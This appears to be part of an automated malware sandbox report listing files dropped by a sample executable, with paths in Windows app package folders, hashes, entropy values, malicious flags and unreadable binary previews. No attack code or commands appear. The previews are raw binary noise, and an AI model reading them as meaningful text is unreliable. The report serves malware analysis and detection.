Preview:	regf.IL%.[]...D...x..>..s..h.lJ\.h.]iMJ1.Vg...,....^:K.....q...G.QO.P.M...;...d..R3.-....@..U5....HU.....WS...^..,`B{....dY...-..J.m....9\.....z(..L.?[qW;'.VH....y.....r3igg$.r?=3...h.....B.".-..........}.y...[7m.m...I[..gNF...9....{..m.W-P......'J..F......{`f..F.`.Y30.B..R..........Ax...?2 $7.^>.........$#..2....3X..Ou....];.....Y4e..".}w...6.S_..x7....S.9...>..............DK.....ZX..zL...'.(.oB..{.....90o..v.....}h.[..F...M.D..I..v4.E,[A.".R...X. [....G.&o..5.v...jy.......]..:....v..OS..7..93.e_..A.8<....D.,.z....En.. Wj.7.Hf....g.y.......... ..Qp...h.?..J.g......GH..w..ze...A;...........a.\|..N...W.S0vm1.q..f...........&.RTM.,y.%"..+.....'HbU!5...D........N6^t..G.....z.[qh..:.;.+(...S..sPM..hJ..m..YcG"..P.......-&...!.p..[...^..c8?..".G.v.r.=.^.W..:........a.....\..U.(^u..b*.....~...89q.Ya.1..d.....L..'....A:..A=.B..E.P#..dB...".....{..Wd..0....`.,d.s......Kg............9..<..t.[}WL... ..V.@8..z...I.]/2.\......C.R.....-iP

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785490138880135
Encrypted:	false
SSDEEP:	192:6zuBJyrsDpvaPXjuYQvgSbzzELX1V3MRCXbpl5tU+B9F0:DXyupvaPXCYQvLzmVCebplPD+
MD5:	14CE21B5E450FCD0D478A9E60B3E59F6
SHA1:	F6A0A779D4D6B6DB8847C4DE37D00F4A1D7EE0BE
SHA-256:	54D0C90B3B74A0644D1121D6D83C0B829AD7BF09B1078952FBD3277E1B5E79BC
SHA-512:	1E495686F35F8AD5036D2B056B57C039CA2323FBAE29E341370D11A314A10152BA709824D40DE882C835DD549AF0FF89413A3F22FB2949706D58329C0F81F15C
Malicious:	false
Preview:	regf.s.h.......G...r:B...V)^.g.~....H...P...V.95.,.........*...p..4..L./..K...M~~;.}.%.A.\........)\|!.dr@.}.bES.4.jZ..R..O..3..M...V.6..3..;S.]..@.n..+..t..!Oz...H"M.G.5a..Y....S..m..w.k.Y.kw...L..ks.]....l....l..... ...$..6.N......8V>&..B...^.hy .....M.GJ.....u....O..?..Qt .E.....Z/[!..>.O.P.g.?v..K..:.He..6....3sN.; .h...7....>P....:....-xn._.....B;.........0.T..b..-...4........Z.+&.8..M.oU.h.A.n.......g.fLEy....:f._.S.$2.A.n.e.p.>j...%J.....h..A..J/.v..._......./.,..ai.j[i!..&.{......\....6.&id........=..0.Gg..O....5......k....S...Y.K.'MT.w.._< ..;.z."..B.-Z.............:..7.F#m D@zy..>..13B......z....U....;~-+s.3S.[PNq.G.h...,.Y.x,.HS..8sVO;Q...........AI..u.P....r..E}.p~.H..g.....`.[...t[~JF\.j....7.E.......r.Y..........h....7....+.....D....X.o'E....z.h...A..(...9..\......i....k6............@.....-..<=.<.....p%.$..[>..Q.A..n.>.>..7.....B..CavE.z..^..F.r..U......S.P..%..z6...Oo2xl..\b....g...AdX...>.a..B...H8%'.5O......I..0.N..z.vi.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9808079383071195
Encrypted:	false
SSDEEP:	192:HJ9njBUMQ6X5PUECf7aPKEsR/vM3HaVjwjEtjQcLVCKRbO1:VPUEVKEsRneetjQiA
MD5:	55116CEC0D888D30172CCD236A04D71C
SHA1:	6992F7440477FD222B9B87EAAF17FD33F0C8E727
SHA-256:	EC0C552937872FA1636DB80B51FF28EEDBD1B7B2DD5E4FE6BDF44E041D9515AB
SHA-512:	86A0070C74E329EE0D483743BA0DE7B5576D66D77DC9A435A4F61CB8828763E1862D0AE7CA8698A79DD29B4EF70A7B02C335EED9142D31977BC81106B3DC6D7D
Malicious:	false
Preview:	regf.}.c...N.5...........\.P...j...%w.j.Ae.....,..9....}...M..~\_S}....9..4....Z..'9.p...[&r3....M7YW.c.\|.I.g.f.x......@Fr...^YWY.q.z@i.LJ.o..>e.C....!.d..~.._b...>S.,...'..7...ms.@......rdkr..S...Zl\.t.....Kd.].r.E;0.!.{Y9........1.K....W.M.%}..T.;.1G%V.T..1.B..p.{8.. /.P..i......$..p..?.c...}...x..6..^/(fo.Cc._....~^.n..k....x......q.L"n."Q J..oFU...Y...2..ho..(..?..7b.)H...........h.R..&h....[.$...<..Vd3.6.\|N..t..t@..H...j..q.....,.B....2#m'...`..~..7....7.G..L.Kw..m..W(.2......\|....mv"...Q....=.....q...@.=...z.B^$.CEA..x`......gT....D}.`...c ...M...+.`/......0{?..........Q.T.........s......D>.dOX.5g...mL........[9<.D.G\.....1.d.S..=..].~...."h.a[.xZ..1.b...1...s.......x..)..HR...Rz...s.(......m..f...zsLI.(W).q.BM.. T..q".O.L...E....@\.f.2..oM.IL4.l{U...I..q.....,D..'L.dPA..o.X.....U...\.2.9AD1.S.`....`Q7..x?PT..94E..5P.0..+...[.$P.GG....!q..{..sRj.@..(`.j.9eL\|....e...O...v......wp.s..N.!Z<..:...\.........(M..P.Y..!..c..u.$

C:\Users\user\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978914949601051
Encrypted:	false
SSDEEP:	192:Un2i+en/itm+b171sThGY7EWQBd+kEOfmO/kkFzSKpQfL:Uzbn/iIM178GaQjNJfmctFzCfL
MD5:	C1DC0EA6F4ACB3B7AC3EC9B4FA969C20
SHA1:	2D42D6E797BD011A9026B43ED04529FBFD0C005A
SHA-256:	FAD402FDF342506769A65473D0BE6B962FDEC8844CB8B425E84DCFFB602591B5
SHA-512:	123027DD696B2E45C979F215F0409BD11F5E553FECC6A89E5423B095D69571243CC51BD51201BD24778BF25B6C578F607A90D3AFA3BB40E4F2CB3FD115A175EB
Malicious:	false
Preview:	regf..XwL0>..3t.2.R..h..o..........M..W..,yD~.5.....z.....J.....U.....wo$.4..\|....j...t.0.9..b......o...,.G.......`..{...-...KhF']..'.<.\M..v._.,.=......<L...k.jl.p.!....j..?.....D..].......Ga....N.....{..9.......d..4...."w..../..Nt.I.......L.En._p..(.R.lQ..$.8I!.,<J.<hR._..........>..%s5..KJ.P.T.j%.?.V.\)y..z!........A.!..Gc2...r.....H^.TvRJ&.E...........?..6..JS}z.3.7 rm>/..?h.=...l.1..Be.^...p1H...u3.+..I.U4Q=..d,.z.........j...r.C...{b..8.Vp&a.]....s..\|R..%.jAY>..,".#uZ..7B.&".......>'dPw.1..`.N....`...4O,....\|x....J29...........@...=..,`H.x;.t....J.`Ub.W...g.\..S.ap.....c".Q?.....n3x.....j..S8..(.2..(....4.E.i.....GL..r...:.L.....$.<..x/m...(....j.n.....@"C..Y..(W.2r...X.......k'.+....~T.R......._?...J..d...5.[.\|z..J8".....T}..;..m.\.o...*B ,m..AG...g.(..L.&.bA.g{....$..._....(zw.Qq2z=.....`0.....)....l6q...."..5p-..w.V........s..T.Y..IUE~.....6.7.K].\57YC.A.....$.`..%...C62Md.M$p?.!.m..F..m..}'.V..E.a.RUd..\R...n..~

C:\Users\user\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978959698344941
Encrypted:	false
SSDEEP:	192:jakDcFrZCMqcyHmQtp2CyZcFv5MrlM5cltW3QoBoDLKErVYDb4X:jakcFr83GQtp5yWd75g+xqLKCqP4X
MD5:	868C0A26BCFB701E0A75E2CF2861D472
SHA1:	3527C2FFBB8507C77315673AFEBF245D5AD5C512
SHA-256:	003FE7261F1907C383EB5D80E8F8A1B9BC3152273F6A70EE25BB09FD6EB5D2EC
SHA-512:	25D8203F3F58063524AEA54BA4383E07D8F96903991CC14080B8AC7FD8046CDFB3D594A36BE3FD911E13732636CC3CE495E2C81690D561A2C4B1B96893F63F79
Malicious:	false
Preview:	regf.j.Y............jIV..L....%.5cd.t.KV{.=.........t...N...m.\|.kPbz..7....nKJ....l.AQ...W...n..H....z8s.G..R..G...N..\|y..x..Y;qJeW3CC.0..A..x....'=8...;@........d......=.uqc...`.O...J...q.%.#@. ....h.~.../..........f...:..j..O}..6.F..kz............Cs....7P-...E....\...{)E...+:...z.n.....'.]_..P.2...i....I....0'Q.....El..KE.....R.j...6.C...'...}0!..).....V95....X.x.;....0.g...Q<....[.C....2...^.^.u36..3.t.3{9.).s"......1^z....x..1......W..E . ..$S...w5.>.n.=.0f.....i.s.....e.....)..F...lc&.a......mW36.....X)....r%z/....}....U.nZp...5......C.rk.+E..t6.l#qS0_..dx.S^...J.9:..Cy76:3....<.E....P.A,.H,...m..X.d.w8d..O.........7.{..W\P.....:<..G...n..s..8?)..u.F8.[...E.&Ol.....U...[...kC.0.......J.!..gK........d<H.y......xL&.....M7.....}..M...{Zv.'X...M.V.....g_5......7.....V...!.....2hN....H..Au..........%.M..y...I.C........^..^ .\|..I....J@....M.......#U.D$E......z........W.r.z+.\k.-'..4Q.5.0.~T..d..G.r.wY+":..@.h..=.r.

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980621940803196
Encrypted:	false
SSDEEP:	192:aDHG1JRBH8SxVRPGyRakFJWnzhdsSKpubqDroUC:aDG1Jb8IROyZHW9FKpuuIUC
MD5:	220E255EFEEEBE45DE64250EAA7AE90F
SHA1:	D0B180A0F1FB8F2345F796F69D196E140D9859F5
SHA-256:	CC313382721BA0431B6CA7B46EDD72123FF0B27F2F6F0E002FE4950C125970D7
SHA-512:	BA0E6E319620661533189DE517DB823E8AADA9F144F1BD9A1B76BDA9D8C265BBE9478D258452525E22EAFB0CF539868C07B397382CC3823EF9DE0A051C3B38DC
Malicious:	false
Preview:	regf.....n..p.O.\|.....;...!952.O........I..5..piJ..Q...p.u+..;....\|.<.h.n......O.S...:.....>.b#. ..W./...G%.<..W....8X......h..}.'.l.........S..........r[..7>.....{CHm...u .mK:......4n...B..P..^....A'.].V..Y......\|.....r.......0!.e.#...X}.....e.F_5.:......H..\%...+V.'......r.........0.v....4l..:.A.D.^Q#......h..s_...N.\....W..VC..HU.^/.....h].l.B.B.'..6.L"!/....U@..$..z.AK.....VL.@eP..OeT.on$.<.Q.W\..@.8.../..../,oW..%..i..oC.bI......C..o.xA.Pa........h.w..*.%`q.N...=.t....._.T..f<p.....@m.c.w.O.:...G..hGH.l.[..LMr.l.......f...h./$..f....X2....&S...5S......DM.{..J~.^.......z.&.....\|..R>w......J..EF..\|).0.f.#.......%. q..[...o#.=..j..\._..D.Q....U.b....V.....qHc6.@D={J<...n."uR...-wf......w..&.8....$...u.EI.eR;.h+Z...j....@.."..r.yq(..#..m.a....m{x.9.9c......9O...,.+q.qe,<.G.0t.....r1. ..5..I..Z_..V.L.APoX..!.s..t...~.5]....g\..h..f..d].iM..D...J29..X.. .N.e.a.h....G....\=.8....?.4mL..u..'p1..}..3..x.....'P.R......3>..l[.:......J

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980892436241722
Encrypted:	false
SSDEEP:	192:eqI4ZrN7EJsr7xoH40IzXPLJjLT+x77/frHhTZAw:eqIErJMsvxoH47XP1LT+x77Xrhyw
MD5:	9A8FEBC3F5399E54E939EA6D610C5738
SHA1:	B2D7DC71EB9D3290420E303B907B716A893F91BD
SHA-256:	911BB2F3585F153E99240B8F9AE73A76BC34A0338C5E32646C1EE500639DA8BD
SHA-512:	3AC9033A8766970B2B81CF1160AA20C72F6D08B5E1B2C3B9CA01BA3D73093C14745F04F46EE25F4749F08445475E19AF8A886E1D047393E82970ED47528E55C4
Malicious:	false
Preview:	regf..W.fM.!.......%..CA...T.../..s...XoHC ..Cn..0._.d..B..?]~..t.IQD...{........X.....o............\dJ...T..&KdA.h...`3&.+.`...iz.Ub.H4p.d6..Y...m,...(,..l.2q..Ds.;..b...Nus.`U..)......5.9.)4W.3=w...,.Fr..........4....ZCl...{..s.=...^5{.-Gq_.....9..a...B;......cl.~.........A..../...O4..qS...H..K.......B.!>i8.E......J..?dA^N?. ..........2.,.OR..d.vr.Z..).....h...:.3....R..`..al.L.k...>?...sn........Vl....<.....~.>._..i....`nx..7.M...z.......E..&..4...vr..I..P.n3....u...........X.N.M.`,.a..:..`..@..z%.c.....(^....m..<....8...~..8..4......2.o.q..{=..U.6.._..M...M~.....?V..`w..\...>.z.....y.OM0...&.&..w.U.F.`.._...o.@...kv3......JZ.....+T..^Hh..!./....o....u..._<G+........1.KAh....@J.d.X.&..F.o.....+...~...p...QR5.X.{.j.....Q.0L.-5x.X.\|.?..}...~.`......}....94.e.j..3.?".&f.^.....:...........U.M.s.....S.....<..~...I..5...L.Nc1\|X..`..h.....=....e.(.9..h....^..<..oVk....2_.....'\|..."..IDf......`.....b.].3;<~.JXQ.> 5.....)..h5`4..

C:\Users\user\AppData\Local\Packages\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9801535559704
Encrypted:	false
SSDEEP:	192:pNufUnkG1sUojPwqoIdvKYLfehjIm6gDpLmG+WZEhe34:pNXkn3voIdxeBJNLf4
MD5:	7C9046242C21FB004751F53B1129DF84
SHA1:	276EF08EFE8D29B762365C8B615B376F3E2E1EA8
SHA-256:	5258C4DD42F73599B77ADE69BA02C22A21583F6F3E158F04A198D9D68021D78A
SHA-512:	9757615EAEE375D2149AD551413EA5867B90B1693CDFC5DDB4C697F05312E85CF50B2BB6EC2B8C983540733D35FC73210BD447A36DE73ACBA315CAEEE2971305
Malicious:	false
Preview:	regf.$g..O....b]7oQf..RZ@Du}...S`.k..\|...........W)Exd9../.S.\.._c.......5.....x?...T=...9..04..j.w...{..7.N.4._I..Y.{..j...6.!....r.O?..PB.)...c.....).D.l[0.n....(.\i.4c.vy.Z".T'@.....&..=...$..R+.S.u.m..p'R.c....i..B.G..G.t......4..M....rPY.u.O3x..~lx.gf{!.S,....vo+.^.,.W.....ib.=.D......C.i.....x...,..Dn.m..y....L".q..b..2...;....G......B..K........7)..d....{...{.i.......#...g.O.=\|......zw..=~.N./......mqS!bVg..aG.W.Gg....pg.e..A......q7B..eN..h.1i..._......q~...P[[..$S..2.f.L...gv.+.............o.......oXD.&s..P...T...._.._k.....Bv.6.k......E`.rhC2v.M.l.k.0.d..C...9.n{.F.._...-r..[.x.E.9$!...Z.[..+G...........7.z.\k..B.x._/3_.......ul1..g.Y..J....h...Q....d..9..KDZw"..(..-_.".m.6.8...T.....3.%.@.h(k...B..{...Y.`x...;;Y.mE..i.DD..F.<...b.Ml3.>..6'X.n.\A@....=:..,.@.^...."..i...,a..el}....6.9..;.k.Y.o.Y.:_.LP(B.y.'Y~..h.........J4..s6......cRd.8R..-T..\|...W........3...J0..7.."0..GV..O..V..E....^.9e\..(i.".=J.L<W>K2.{..`1`I..L.. .[/.....

C:\Users\user\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976861609762314
Encrypted:	false
SSDEEP:	192:JoVMIj6SS0Af3Vc1ObUEFDwvtxwn5Rw0Hu5xpHD/B:qOIPLAvVc1OwWDwvtxwnZORDp
MD5:	2EF23EABD8063E0B754B0322E407BD09
SHA1:	5313136A27498B1510EF126707C6F74ED02A972F
SHA-256:	316370CCA83A61CCFBDABC4C56017528298F9FEE0363BCE94408925FB034375F
SHA-512:	AFD47435710823DB7FEC4DCA2D49B3BAB49EAD18AEDF95855C2452D75B88AF4819C8B96ECF2E0DC19F2D23D59B8C8E658380F3C8843FF90F27C629F205CA0841
Malicious:	false
Preview:	regf..I..T....u"....,.$...[(...(.....R...`~....T..y....,....!..J}V....-....`...}.M:...(,..I.....@h...d7.Z...d..e..Hg..8.k?..D.....VW.<.K..M.'.\|.. .vL.....7u......n..(%8...yJ.B},..}D&\.! edgAw.....+..$ww...c..n...R=..#....}...s-...1.t$)..~..\o..O.x..O..OM"..ghdRH..D..5..8.Y(....\|.H....../..\|.3.....j.G6.^#,-.....u....f..r.!2,.%..X$f..\M8$..rR..f..b..$.&....D....(...:........g...A...V...Oc.-6M.....Ak...D.`s.B.\|....GD.-KW..pq8\|..U......X...c\|.M."..:._..$9.7`X..M..=.w...1B...SMz....9.=xf.. ....:p.7.......MB.4....S.V.TW../.za..~..v....0 ..V...; Z...4.,B.j...... ".N..n.. ..X..N.+T\|q..#.-.V...n...p....4c.aj..........RP.........V:.......4.....l...\|65..#.....q...W..y..O%..z...L..9uz...A......u............?0....0.L.O.s..@....H..3......`]g.aZO..l.?X.i"0..z.e..SFS.Z5.5....A..p..9\|E...L......6.....<.......^.e.......k.J.....,.HSb.J<.H.......mz<j..(v/.m.a]WI....e.m.F+?%....w.=q~O. aW..w....nt....{..X..G.-...T.-.D...Ny...k..j...<.........:...

C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981798094549829
Encrypted:	false
SSDEEP:	192:5w+M6l0BsY7icYVffjIgXgBOG3q+hClvH0yObNiro2fAM:5yUcsYGzVHjXXGDCjObMbL
MD5:	7FAB9F6A66E2425ADDECD8A9786EB9F8
SHA1:	DD7B8572B0D8439D0816BA0F00B513F5911D10AE
SHA-256:	C24CA5401677740ED1848779C41A057A36AF22B7F287743B64F208D16A86A3E1
SHA-512:	CB63897D76C782099F0D0A25C4357168380F4CC4A98779E402DB769FAD0EACEE7C3F0DD281D5B5CF85D6C4DF6F8C2DE5724367771CAF140CF346F43EDD8A95E7
Malicious:	false
Preview:	regf...;@X.J.h.....3.N...}...7{...g......f<.s...MB&.T...js.S......+.........d2..........??..S.C..t.8...q.4........L.....A..........2!./..]..?X..q...R...d....?..-.Z'&..L...... \"7.......... ...(..J.......;......?[a.$.....^h........u......d.N.k.X.1....yuMb._R..)/.q......<F$....C)N..gtP=..p.F........OM.v%..A_ck..z......~...x...f..&.U...me.....C...E._.....K...7...s.;...Z.tN.=T.LH...'-Q..\|.u...9.'.....u.z.y..75.S..Hv..Gl.......P.~..<f.QZQ.fng?V..d..s.'}`zY..1../.+..7....9..[v2.e.Pi.G.S..A....5~.lj.sB..2..!...i.y.....E.....E......e...}.=..~..G>.m..r.L;i...0...].?G..%...k.._...j.m.i.T..t.S..T......R...}d`?>.....Za..j....5...'....Q...R6f...x..d.hF@..~n...z.Fxj..c...%R6.6.\-.@..7v.0..q...9_f..R..L..S.u?.{.>.{.w..r..sMB..-g49.....y..o....i.P.:.Oy.7.._.D0U..p....S.x.a.E.Y..s...Xv;h.../7.\|....G?....5>.ZR..U....g.....)..a...w....a....m.t......7#..l.......H....s....=.9.J.K[..ca.3S'R:.a.I....14.......Y.Gz..7:4..<4........H6.....pn....Z2..&G...&(...

C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981796136001957
Encrypted:	false
SSDEEP:	192:7zxXJVBdLDYF5a1VbUJkQiGJzkJsI8zyb/5YIUdBEu:7zxXJVBdL71VbWkazkJsI0ybBIr
MD5:	B2CA4A2523B25121BCA24BAA9D6183AA
SHA1:	33D4707DA360DF276605875FD635F6BEF88B24E1
SHA-256:	1E8F761F759B851171D8DAB7716BBA30B105207BD7430B35AC727BB65C6AE0FC
SHA-512:	795BBBC6D3B189321AA7F98778AF76154DD395DFC5E6AAF3514FF7239200A69EF371B84BBEC424D5B31B607047C1BC1B22886C36B1E5EEE668B69008DF473E82
Malicious:	false
Preview:	regf....E........r......-~."...I.r..l.q..Y6..Ty..F.l..'n....RO.V.m7..[p..:.w.......[..#e...'.a.Q.,..).>..o.E..?=%.JlJ.Z.x .G.5Q.....D.H.( .$.....$....d...x.5..[.......+.$BHO.%mj\..u..(g3....#J3..5i...#...&:..t..S....L.n.M..R./y.....Z........N.-..2......N/0.l.....q..e..v_...8....o..(.0..E.?}@...47{Y.@...+f...m.y.o..rv....A..W.>\.9..a8]..9....~n.1:.y.........K.T.G:.U.?^0..E.H..<...1x...L...~.jTU..;<`.M.h..}....?b..~.h..y?..x.I.7..[u.e...o....}?Um..Sy.@.5.V.....q5j......8...7^..I.W....<..LHS.3....+..BU..d....s8....\|e...dz..{....\|.z...P.F..YS2(7...A......=../I..-.m2.. ...`...q..........6O.g.D...T...D.'f.,..vs..q..HR.0.Ia...._!.....)-[\|\.Z!..#%p0=k....]....7....\...i.....n.=...,.H..r%r..6.x..n...!.#W...8...F...C8.1zbe.....a.H...K.......hSf..#p}U .X):U...73H.<).Vu.&n!.(E..x.......P.}...c.*.......2}..xG~.....q~............U..<G.#A..[...7......2.S......x....A.?c.e..V..v.F....9....#b.....>..8.l...J.....3M..=.g.M,...=w./.....O. ..W..Ta.[J

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974098074102088
Encrypted:	false
SSDEEP:	192:OshXe494XF5vIyqvaJGluXCqqqzXTbkkj7dqi5YL:7lUDvIBiIy5BDTbkkjZq3
MD5:	BC4D1625C1972D3D4A1A73DB1050E6C7
SHA1:	812FB716CA160CD71C1F8B1C6AF86EC4ECDC3A0D
SHA-256:	1D0F1852E1E49805671D191F7FD6CC26CEF3CFE4ACA4A6440BC85F6E1D64D40B
SHA-512:	2989EEE111056F3359FBBE265B47CC3D68AD770D7060F092A8C01B13F628789442932AAB88996BE44D1AA3015E383F7E716802AFEBE03663BBC8D5F8642A5769
Malicious:	false
Preview:	regf..n..0C..yU...wn..P{..b.u..E..~m.9.\v...@pm...T. ].~...m..p.Q..v.._6% .d...>PA3...N....Le....i..)-=..BW.I..e..!.qE....oz...g.y@...."...........T...W$5.[..Z@.'.V...pOX.8 .O.....j.[..+c....}...R(.&(]......c..`..ai...y.\|..d..\...X+.uI.61.. y.Y..J[.<E...,.J7..Yp....;<i.B.+.q....&......yo.[.{I.=r...I..'....9.]..pLLO.}.m_. .`..$.c.......I..9..Y..U..2..c..$..j....#.2.L(.. .Y..RX\|..c6..F...y...E.&=4(`g...b.p..0}6a-..3..<..cA9.K.....'4...Q.....[..[..}..^...,..}.#s6.....a8.....b......'.[.....[b...Z0..d...{> ....<i.X.....Z...m.........l\|..BI...%B......h.>.B7.<M_.^....:dhgT.....~t._.}...I...>.K...<+....^.<..z]...}.r.I...Bv.F..sa.m..f........9.}...87.....Yq...:J...@J.m...-..L....L^.XY.`..J.^k..Yc....:....$_L.$I...7T.k...........Q.K.....o...oZ/.(-.Q\..h.!..E.h.f.%...L...!Si.X0..k...U....}.w[...Qx.B.g..p....$...P.g7m[.A.b.....3...@..}.X.8....v].:/xu(....B..t...aOs.E;.C*..{i=p....@............\|...(....z../.\Z.\1}..U1.xf........b..J.q

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997184964604334
Encrypted:	true
SSDEEP:	1536:WTTwqrlnTQ9LJr3KhptaI9au2f1KFLCkFMnNas0rkuRy:ewSNQ9L+au2fQ2dmkuRy
MD5:	0859B91DBA6E7327F701933A20765CA2
SHA1:	896374B7C5089172D4AC2B6B985221C8C960049E
SHA-256:	7F1B46897ECA96DB9E759ACCCB6DD9EFBD36A4CD819920BED7D310C621FECC03
SHA-512:	E3A952399987DCAEB4EC8A2C4A16EDACF4434B4017E127C9E4F56B792CA0544E4E6FCED737DC1AD1B065A55F8C5B78FC761104FFD1C851B67514B863E0F99B0C
Malicious:	true
Preview:	......I'.!je~2.3FK.....=.qt..-.._.O...k.....[.9..[N.....!\|m4..N...(,M..!....s....cV.%.EzIU..>.lf..D.....IE.[=.):J..t4d..u..n..k.2.{V....:.:.\|..~m.M.e...zu...H.r...D.\|.`._...^.s...E)x.....Y...../.c..s.......If...4U..da3.A..6...1...>..m.ar..z<30T...........+./uu_m!3Pi.....4.A..R#......60...;v......=........Z.@\|.8.x.}...K..4).......\|u.:.F..[Xc...n..T...%...).,p.6..I.pAx..n....u..0..q,N.-.u-.S..{...&F0......z:Vh/.'..Kbd.Y{..P$X.Z..Cp.....;..\/0....M......y.w....\|..+..<U.D.?....fnF.........m..$....sm^:...A.`.+...'\.8...w<...$9p%...a..bz.ly.!h..z..\|.Z^1)=.oO...#....X........7.[.......S.[,.>.'..o<qM..31...a..w.80.....#....b..h.(...y...R..e(.:}...Y.s.G....A..0Ua).x.....@..$.../%..}.......T~....a..B/.....Yv..K52.}..#D.UZ.U.50....K$..E..^...)".n..?.S...Y1......F.T.i)s...A7....g?.jP..d..'.....3..;.4..P..z..c_.8.[....I....vi.C#.~>[..R}......."..q ?...R...K....~...\.`.v.*..[.Ym,...".,#..2E.y.....n...f.-E5...3Y....&.....q=+.ly...J#A\|.46./.H...

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997271815039205
Encrypted:	true
SSDEEP:	1536:6qAOz+CJgz+mgDkXV0/Kp5MyESJzvWmoOB2jy+QbQ2ltD:iOz+CKziDMayESJrWmoOoTUlN
MD5:	BB0BAC3F7E5883B6E7901992B58F4B70
SHA1:	D44AE1FC73AF22C0DC8CE5F9FBC3FD8D9447AB41
SHA-256:	00781A495063EDCBDAACEA1EB7CD9E6D930E40F37338E3F09D5B8A03754FBD99
SHA-512:	E58F85AC8277115DD3745B134C48746141308784E52432950C879417A894F9C8C14A3DC2CCF8FF441CF8A95C27E7721C63FB68330E79C4AB60AD40BAD0684F27
Malicious:	true
Preview:	......(Y{.j......cW..\|...h....c8.......".tF..Yk..n.w... .z...,U.XP..'p.....N..z.bY.]..Zx..W.c......@../.P<......Y.....<.6.E./.\=..C.)E......A...A...w...'.KxV..\|.. p.E_s+.Y+k..%.lhF7..z(......e.J....~.U..&......=)C..J...r......U......{A.....&.[...6..$...0...c.k.....DHay......\/.,......(........@.......9@...3.....y...oE.t.V........HI.........N.A......O3.d.......#.........}1...f..f...t.8.)v..\..&..o;].A...w.U..Qp.....}....M.V.p_...9\.g}....../..M...).,..m.s9...Y..MHJ-.9..$....68k..U.Q......".o."..zXR.u.S.G.N.q......w...{...?..>.2...>..^Fs..9....H.i..........fM".....F.......~.......l./..a.....j.z........=F...K.x.....<.sD.'........:u....jc.t.].:.Q6....E_.P..!.".X.Nk.....u-#......x......CZ._.....k.9.....z...5}-.9........Oyi.....6.<?.P.O..;D....;r.Hs..]...Gy.4+.).!..S.@.n*m..M?SY..D.:....P..%=..-.[.@#V7..I..U.Q....... 